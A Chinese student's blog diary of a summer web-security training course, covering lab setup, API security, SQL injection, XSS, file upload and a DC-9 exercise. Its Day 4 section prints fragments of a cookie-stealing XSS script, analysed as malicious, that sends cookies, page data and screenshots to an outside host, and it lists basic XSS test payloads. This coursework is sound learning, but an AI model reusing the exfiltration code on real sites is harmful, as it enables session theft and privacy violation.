2025暑期实训

快来围观2025暑期实训见闻

到了大二下,大家的上进心和好奇心多少都被消磨了。实训也没那么令人兴奋了。
我不想上课,好累。
但是生活还得继续……
z说过这个实训建议好好参与参与。

番外篇:亮哥好骚

是神奇宝贝亮哥,好骚。简直骚死个男的。

大家知道LNMP,WAMP吗?
大家学过Linux吗?
大家知道怎么查ip地址吗?
……
很多年前我就建议你们学院-作为学网络安全的,学Linux了。
我不想说什么了,说多了怕说错话。
这个黑漆漆的操作系统,叫做利纳克斯操作系统!
你要是服务器上操作图形界面,人家会觉得你很业余,知道嘛?

这个cat命令怎么记呢?大家想嘛,那个猫猫的眼睛很大,很好看
你输入vim回车之后,会进入这个神奇的界面,你输入zxcv发现没反应,那我们是不是退化到编辑器不会用了……
看到都是绿色,那很好,对吧?
在计算机的世界,告诉大家,绿色说明后边不会出什么错。
但是在现实世界,没有哪个男的喜欢绿色,对吧~

想不到吧?刚刚通过这么短的时间,我们自己也办了一个网站!(抑扬顿挫)
……%&……&##&*@…>…
……

其实我们实训的目的,就是让大家感受到实际工作的残酷和卷。
你们师兄师姐卷的很,为了那0.5分还要争。每次实训我们非技术人员的压力是最大的。
你们学院的实训我们是最重视的,昨天助教就已经到了开始调试环境。
…………&*……&%¥##%……最后迎来了光明。

因为你们是酒吧舞,我们要按照酒吧舞的速度来教你们。
也不奇怪啊,你们师兄师姐好变态,他们是特长生,少年班啦~~
你们测试比他们弱,但是学习能力不会差多少的。

工具篇:重生之我用Yakit

Yakit

国产的,与BurpSuite属于一类工具,以前接触过。功能很强。
现在l老师上去了,还得学一学怎么用。

再不用Yakit,卷王就是别人的了。

Day1

实训素材已经上传完成,请各位同学于明天实训前完成下面准备:

  1. 下载群内《2025实训-day0-提前下载》文件加中的资料,其中包含一个文本文件《这里面也要下载.txt》,请打开看并遵循操作。
  2. 安装VMWare Workstation 17
  3. 安装导入虚拟机:安装统信操作系统(UOS 20)、Win7虚拟机(解压Win7Base导入)。

第零幕:前传

先介绍了一下国信安,背靠中国网安。
然后是课程大纲,今年SQL注入削了,爬虫加重了,说是因为AI。
然后又是一如既往的xx环节,迟到早退3次记零分挂科,旷课一次记零分挂科……

以前迟到早退旷课是不是很多呢?刚上来就说这个?

UOS是什么?

统一操作系统,Unify Operating System)是由统信软件技术有限公司开发的一款基于Linux内核的国产操作系统,主要基于Debian发行版进行深度定制和优化 。其目标是为中国市场提供一个可靠的操作系统替代方案,解决中国信息技术产业在基础软件领域受制于人的问题,形成中国的话语权和优势 。

创建虚拟机的时候选择Linux类系统

安装UOS

启动vmware:

不知道是以前跳过什么设置还是怎么搞的。
通过管理员身份运行后可以打开vmware。
第一次安装:
选择的Ubuntu系统对它进行兼容,安装系统要求64G硬盘,向导里默认的只有20G
需要在虚拟机设置里加硬盘,加了80G,选择/作为挂载位置,没有创建交换分区。
=>虚拟机安装向导完成后进入黑屏,白色下划线闪烁。

第二次安装:
选择Linux5.x内核进行兼容,安装向导中调整硬盘最大容量限制到80G,开机
=>kernel panic

第三次安装:
算鸟,删掉vmware 16pro安装他给的17吧 。
第N次安装:
参照了个教程:https://blog.csdn.net/u014779536/article/details/117597003
但是人与人的境遇并不相同我的vmware就没有Debian系统的选项
尝试选Linux5.x进行兼容不行,尝试用Ubuntu64位兼容最后可以了。

第一幕:测试

老师要看看大家水平,搭了个简易靶场,计划在局域网内使用,
让ping一下他ip发现ping不通。
于是开隧道穿到公网,(这里看到他写了两行配置就穿出去了,应该是他的部署到服务器上了,不像是内网穿透,有机会这里去询问一下)
于是校园网崩溃,大家都很难登上简易靶场网站。
10:00发布公告说网络修复完成

@全体成员 当前任务:用20分钟尝试登陆爆破和文件上传,靶场校园网地址:http://10.136.126.45:14380/

测试

登上来张这样:

爆破密码:

“有没有同学爆的出来呀,它会说你是黑客”
“给大家稍微上点难度。因为这个是我自己改出来的,通过实战经验的总结。”

一点激情没有了,我当战地记者了。
文件上传:

“完成任意题目的同学,在QQ群回复1。”
“目前看到有一个同学传了word文档上来,但还是没有看到任何一个同学传了木马”。
(难道大家都燃尽了吗……)
“情况不容乐观,只有两个同学完成了密码爆破”
“所以不要觉得自己会了,我会比以前讲得更深,更广一点”

第二幕:讲课

同学们,我们关注的主要内容还是web安全。
我要告诉你们一个,不可思议的实时是:
我们作为一个普通用户,是可以在服务器上执行程序的哟!
这个虽然听起来不可思议,但是仔细考虑:
你在使用淘宝的时候输入账号密码,是谁在校验呢?
是服务器,……

那么这种架构呢就叫做BS架构,那么在这种BS架构下边,会有哪些组织结构呢?
如何搭建一个网站服务器呢?我会给大家一个文档,告诉大家如何做一个LNMP架构的网站。
LAMP(Linux + Apache + MySQL + PHP)

【有道云笔记】Ubuntu22、UOS下搭建LNMP网站环境
https://share.note.youdao.com/s/C7qlbBfY

(最新的kimi k2模型嗷)
根据您提供的两份pptz照片,我为您整理出一份清晰的网站架构逻辑图各组件作用对照表,便于理解对手(或目标系统)的技术栈与数据流:

一、网站架构逻辑图(LNMP/WAMP)

1
2
3
4
5
6
7
用户端(浏览器 / BurpSuite)
↓ HTTP/HTTPS 请求
中间件容器(Nginx / Apache) ←→ Web应用(DVWA等)
↓ 解析动态请求
动态脚本解析器(PHP)
↓ 查询/操作
数据库管理系统(MySQL / MariaDB)

二、各组件作用对照表

层级 组件名称 具体作用
用户端 浏览器 / BurpSuite 发起HTTP请求(正常访问或渗透测试)
中间件容器 Nginx / Apache 接收客户端请求,处理静态资源,反向代理动态请求到后端脚本解析器
动态脚本解析器 PHP 接收中间件转发的请求,执行Web应用程序(如DVWA)的PHP代码
数据库系统 MySQL / MariaDB 存储和管理网站数据,接收PHP的数据库查询请求并返回结果
Web应用程序 DVWA / 其他CMS或自研系统 被PHP解析器运行的具体业务逻辑代码,可能包含漏洞或安全机制

四、总结一句话

无论是 LNMP(Linux+Nginx+MySQL+PHP)还是 WAMP(Windows+Apache+MySQL+PHP),其本质都是:

用户 → 中间件 → 脚本解析 → 数据库 → 返回响应

理解这个流程,就能快速定位对手网站的攻击面(如中间件漏洞、SQL注入点、文件上传绕过等)。

第三幕:午后

现在是下午3:10,熟悉的声音再次响起
这边部分已经有部分同学完成了,画面一度变得紧张。
“我要尽力去理解大家现在电脑的薛定谔的猫的状态“

现在是下午四点,“我现在要教大家在windows上部署网站”

报告相关图片:
image-20250712142636612

image-20250712142739100

image-20250712143855992

报错解决

sudo nginx -t nginx: [warn] conflicting server name “_” on 0.0.0.0:80, ignored nginx: the configuration file /etc/nginx/nginx.conf syntax is ok nginx: configuration file /etc/nginx/nginx.conf test is successful

警告的意思:
有 **两个或以上的 server 块都写了 server_name _; listen 80;**,Nginx 只认第一个,你改的这个 test.conf 实际被忽略了,所以 .php 请求根本没走到你写的 location ~ \.php$ 块,于是浏览器就下载文件。

image-20250712150153564

image-20250712154840585

image-20250712164507199

image-20250712165534648

image-20250712200132800

Day2

第一幕:消失的亮哥

@全体成员 校内军训西南门道路管制,前30分钟完成两件事:

  1. 点名
  2. 整理昨日两个实验的思路,尝试在linux上搭建两个网站。

今天实训的主题是API安全,
内容是教大家在Ubuntu上用docker部署靶场crapi

工具:Yakit,BurpSuite

第二幕:亮哥录了视频

亮哥说今年的windows上使用WSL安装docker服务不能用。
最后大家还是用了虚拟机Ubuntu。
亮哥很详细地讲了怎么做
但是各种问题(docker被封禁)和细节很多。大概到下午时候大家差不多装好了。

我还是按照Windows docker Desktop+WSL2做了
还是能用的。
这个dockerdesktop将windows和WSL中的docker结合到了一起。
WSL里边的docker相当于后端。
于是在cmd里或是wsl bash里边执行的docker命令都是等效的。无须再次在WSL里安装,只需要在图形界面里打开对WSL2虚拟机的支持。
图形界面还是非常方便。

第三幕:安静的午后

在做的过程中有以下名词有疑问:
留到以后慢慢解决:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Options
PUT


DNSlog
验证



$ne":"xxxxxxxxxxxx"是一种什么样的约定?
“($ne 表⽰不等于)”


@全体成员 下午任务:完成API安全文档中的实验

Day3

Windows11真实太垃圾了,我要黑它一辈子。——亮哥
你看这都是什么垃圾……

今天就都是SQL注入练习。
昨天晚上好开心呀,和mz,zht打了羽毛球,然后还出去买了冰西瓜,晚上还打了求生之路2,
今天下午下课了去跑步,然后又和姥姥照旧打了一个小时乒乓球。哈哈。

Day4

老师来讲安全实践,经常搭好靶场就不能用了,老师还说学校开了AP隔离?这是什么?
AP隔离(AP Isolation)是一种无线网络安全设置,当启用时,连接到同一无线接入点(AP)的所有无线客户端设备无法相互发现或通信,它们只能与接入点的有线网络通信。这种设置特别适用于公共Wi-Fi热点,如咖啡馆、酒店或机场,其中用户间的隔离增加了网络的整体安全性。AP隔离的工作原理是通过实施规则来控制无线客户端之间的流量。在大多数情况下,AP隔离通过使用VLAN(虚拟局域网)技术来实现。每个无线客户端被分配到自己的VLAN中,这样即使它们连接到同一个AP,也无法在无线客户端之间进行直接通信

XSS语句

那串代码到底是什么?有什么作⽤?

这串代码是一个复杂的JavaScript脚本,主要用于收集用户的敏感信息并将其发送到远程服务器。它具有以下功能:
收集用户信息:包括当前页面的URL、用户的Cookie、浏览器的用户代理信息(User-Agent)、屏幕分辨率、页面标题、来源页面的URL等。
生成页面截图:使用html2canvas库生成当前页面的截图,并将其转换为Base64编码的数据URL。
发送数据到远程服务器:通过XMLHttpRequest将收集到的信息发送到指定的远程服务器(//ujs.ci/bdstatic.com/?callback=jsonp)。
保持会话:通过图片请求保持会话,并将当前页面的URL和Cookie发送到远程服务器。
链式加载其他脚本:支持通过chainload_uri和eval_remote_source加载和执行其他恶意脚本。

这段代码是一个复杂的JavaScript脚本,结合其功能和上下文来看,它具有明显的恶意行为特征,尤其是涉及数据泄露和未经授权的信息收集。以下是对代码的详细解析:

1. 代码功能概述

  • 数据收集:代码会收集用户的敏感信息,包括但不限于:
    • 当前页面的URL (location.toString()document.location.href)
    • 用户的Cookie (document.cookie)
    • 来源页面的URL (document.referrer)
    • 用户代理信息 (navigator.userAgent)
    • 页面标题 (document.title)
    • 屏幕分辨率 (screen.widthscreen.height)
    • 网页的HTML源码 (document.documentElement.outerHTML)
    • 页面的截图(通过html2canvas生成)
  • 信息回传:收集到的信息会被打包并通过XMLHttpRequest发送到一个远程服务器(//ujs.ci/bdstatic.com/?callback=jsonp)。
  • 页面加载检测:代码会检测页面是否加载完成,并在加载完成后触发数据收集和回传。
  • 链式加载:代码支持链式加载其他恶意脚本(通过chainload_urieval_remote_source)。
  • 保持会话:代码会尝试通过图片请求保持会话(keepsession)。

2. 恶意行为分析

  • 数据泄露:代码会将用户的敏感信息(如Cookie、URL、用户代理等)发送到远程服务器,这可能导致用户隐私泄露。
  • 跨站脚本攻击(XSS):代码中使用了html2canvas生成页面截图,并将其作为数据发送。如果该截图包含用户输入的敏感信息(如密码、信用卡号等),则可能被攻击者获取。
  • 远程代码执行:代码支持通过eval_remote_source执行远程加载的脚本,这可能导致进一步的恶意行为,例如安装恶意软件或篡改网页内容。
  • 隐蔽性:代码通过检测页面加载状态和使用XMLHttpRequest进行异步通信,避免了直接在页面上显示恶意行为,增加了检测难度。

3. 代码细节解析

数据收集部分

1
2
3
4
5
6
7
8
9
10
11
probe_return_data['location'] = never_null(location.toString());
probe_return_data['cookie'] = never_null(document.cookie);
probe_return_data['referrer'] = never_null(document.referrer);
probe_return_data['useragent'] = never_null(navigator.userAgent);
probe_return_data['title'] = never_null(document.title);
probe_return_data['toplocation'] = never_null(top.location.href);
probe_return_data['origin'] = never_null(location.origin);
probe_return_data['charset'] = never_null(document.characterSet);
probe_return_data['platform'] = never_null(navigator.platform);
probe_return_data['opener'] = never_null(window.opener);
probe_return_data['screen'] = screen.width + "x" + screen.height;
  • 这些代码片段收集了用户的浏览器环境和页面状态信息,并存储在probe_return_data对象中。

页面截图部分

1
2
3
4
5
6
7
8
9
10
html2canvas(document.body).then(function(canvas) {
probe_return_data['screenshotpic'] = canvas.toDataURL();
if(probe_return_data['screenshotpic'].length > 700000) {
probe_return_data['screenshotpic'] = probe_return_data['screenshotpic'].substr(0,700000) + '==';
}
finishing_moves();
}, function() {
probe_return_data['screenshotpic'] = '';
finishing_moves();
});
  • 使用html2canvas库生成当前页面的截图,并将其转换为Base64编码的数据URL。如果数据长度超过700,000字符,则会被截断。

信息回传部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function contact_mothership(probe_return_data) {
if(gone) return;
gone = 1;
var http = new XMLHttpRequest();
var url = "//ujs.ci/bdstatic.com/?callback=jsonp";
http.open("POST", url, true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
// 服务器响应处理
}
}
http.send(json2kvstr(probe_return_data));
}
  • 将收集到的数据通过POST请求发送到远程服务器。json2kvstr函数将对象转换为URL编码的字符串。

保持会话部分

1
2
keep = new Image();
keep.src = '//ujs.ci/bdstatic.com/?callback=keepsession&id=cj9&url=' + encodeURIComponent(document.location.href) + '&cookie=' + encodeURIComponent(document.cookie) + '&act=wbck';
  • 通过图片请求保持会话,同时将当前页面的URL和Cookie发送到远程服务器。

4. 安全风险

  • 隐私泄露:用户的敏感信息(如Cookie、用户代理、屏幕分辨率等)被发送到远程服务器。
  • XSS攻击:代码可能被用于跨站脚本攻击,窃取用户输入的敏感信息。
  • 远程代码执行:通过eval_remote_source执行远程加载的脚本,可能导致进一步的安全问题。

5. 建议

  • 不要运行此代码:此代码具有明显的恶意行为,可能会导致用户隐私泄露和其他安全问题。
  • 使用安全工具检测:如果怀疑设备已被感染,建议使用安全软件进行扫描和清理。
  • 增强安全意识:避免访问不可信的网站,不要随意点击不明链接或下载不明来源的文件。

恶意代码是什么语⾔写的?

恶意代码到底在哪⾥执⾏的?

每个⽹站都存在这样的漏洞么?

但我还是觉得这个平台好有意思~


如果不是为了维护网络安全,那将毫无意义。

我不做什么评价。但是我觉得这里曾经有一些真挚与热烈的人来过。
在这个荒凉的世界,在一个弱肉强食的世界,或许只是需要与被需要。不需要的、没有价值东西就会被抛弃。
他们选择在看清世界的残酷后,依然活得热烈。将痛苦转化为动力,让这个世界变得更好。
金钱与自由
热爱与分享
还有一些倔强与偏执……
“如果不是为了维护网络安全,那将毫无意义。”他们如是思考意义与价值。

但是,我或许不能成为一个在大众观点里优秀的人,但是比起优秀,我更希望你觉得我有趣,你觉得我真诚,你觉得我温暖,你觉得我闪闪发光!
我的价值,只能由我来定义。

下午还是XSS:
第一关显示自己的学号



5关:弹窗:

6关:弹窗

js代码能够执行的部分场景:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
通过script标签执行js
<script>alert(1);</script> //直接嵌入script

如何通过事件执行js?
<input name=keyword value="" onmouseover="alert(1)"> //通过事件属性值传入script字符串

如何通过超链接执行js?(js伪协议)
<a HREF="javascript:alert(1)">aaa</a> //超链接

伪协议中通过html实体化编码后js代码是否可以继续执行?
或者:<a HREF=javasc&#114;ipt:alert(1)>aaa</a> //html实体转义

如何通过图片标签执行js?
<img src="x" onerror="alert&#40;1&#41;" //自动执行js

@全体成员 当前任务:完成xss靶场前3关,实现弹窗,截图备用

XSS

概念:跨站脚本攻击

原理:攻击者想法将恶意js代码放到受害者浏览器等上面运行。

危害:条件满足情况下,能够

  1. 窃取cookie造成账号接管
  2. 控制前端页面内容,造成钓鱼或舆论影响

修复思路:

  1. 在http响应头的set-cookie的值中加⼊http-only的内容;
  2. 对输⼊的内容进⾏检查、提⽰,或者转义(html实体化编码实现)
  3. 对于富⽂本需求来说,采⽤成熟的前端编辑器。如果⾮要⾃⼰开发富⽂本编辑器,可以使⽤⽩名单策略让输⼊内 容合规。

Day5

今天是文件上传。

Day6

今天是python脚本编写,phpstudy后门利用

Day7

今天是继续完成exp/poc,然后完成自动通过upload-labs的python脚本。

时间变得模糊

Day8

下雨天在宿舍做Kali实验=>DC-9
有的同学探测不到靶机ip,需要把靶机换成nat模式,然后重启一下就可以了

Day9

安全加固


2025暑期实训
https://43.242.201.154/2025/07/12/2025暑期实训/
Author
Dong
Posted on
July 12, 2025
Licensed under